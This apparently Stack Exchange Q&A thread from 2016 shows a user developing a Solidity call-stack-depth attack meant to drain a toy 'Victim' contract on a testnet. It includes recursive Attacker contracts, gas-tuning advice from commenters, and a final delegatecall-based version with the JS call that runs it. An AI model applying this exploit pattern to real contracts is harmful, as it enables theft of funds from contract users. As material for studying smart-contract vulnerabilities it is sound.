4

Victim contract allows one time withdraw only. I want to attack it using stack depth attack to withdraw everything it has. I've tried different things, but can't get the desired result. Here's where I'm stuck:

My actions:

  • Attacker.setVictimAddress(victimAddress);
  • Attacker.reachStackDepth(0);

contract Attacker {
    address victimAddress;
    function attack(){
        victimAddress.call.value(1 ether)(bytes4(sha3('bid()')), this);
    }
    function reachStackDepth(uint x){
        if(x == 1023) {
            attack();
        }
        Attacker(this).reachStackDepth(x++);
    }
    function setVictimAddress(address _victimAddress){
        victimAddress = _victimAddress;
    }
}

contract Victim {
   address highestBidder;
   uint highestBid;
   function bid() {
      if (msg.value < highestBid) throw;
      if (highestBidder != 0)
      highestBidder.send(highestBid); // refund previous bidder
      highestBidder = msg.sender;
      highestBid = msg.value;
   }     
}

Here's VM trace and all that https://testnet.etherscan.io/vmtrace?txhash=0x285acada3e003173d6e90855ebb44872b3065037b323d5858f6c12c160a98eb5

3

Instead of Attacker(this).reachStackDepth(x++);, shouldn't you do Attacker(this).reachStackDepth(++x);? Or do x++; before you call reachStackDepth().

  • oh, yeah, that's right, missed this. However, it doesn't work after the change. I get only 117 internal transactions and it stops there for some reason. testnet.etherscan.io/address/… – manidos Aug 22 '16 at 16:32
  • ,I think the problem might be in that the recursive call is still going after x == 1023 – manidos Aug 22 '16 at 16:56
  • 1
    Each recursive call consumes 25,350 gas. So, very roughly, with 3,000,000 gas to start with you can only go so far as 118 deep. You need to find a way to reduce this cost. How about replacing Attacker(this).reachStackDepth(++x); with reachStackDepth(++x);. Other tricks, would a bitwise x & 512 help? Also, you could make one function for the first 512 calls, another for the next 256 calls and so on, so you only then check on the next bit. Otherwise, but I cannot help, assembly... – Xavier Leprêtre B9lab Aug 22 '16 at 17:03
  • just learned that calling without this is exhausting the EVM stack, not the call stack. – manidos Aug 24 '16 at 16:21
  • 1
    I get it from here reddit.com/r/ethereum/comments/4z7y4l/… – manidos Aug 25 '16 at 2:20
3

Whew, I've figured it out. I couldn't make stack depth attack work with call though. I used delegatecall instead. Here's an example that shows how it works.

contract Attacker {
    Victim public victimContract;
    uint x;

    function Attacker(){
        victimContract = (new Victim).value(10 wei)();
    }

    function attack(uint y) {
        if (y > x) {
            this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
        }
        else {
            victimContract.donate.value(1)(this, 1);
        }
    }
}

contract Victim {
    mapping(address => uint) karma;
    function donate(address someAddress, uint amount){
        if(msg.value == amount) {
            someAddress.send(amount);
            karma[msg.sender] += amount;
        }            
    }
}

Here's how it works(from JS side):

  • Attacker.attack(1023, {gas:700000, value: 1});

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.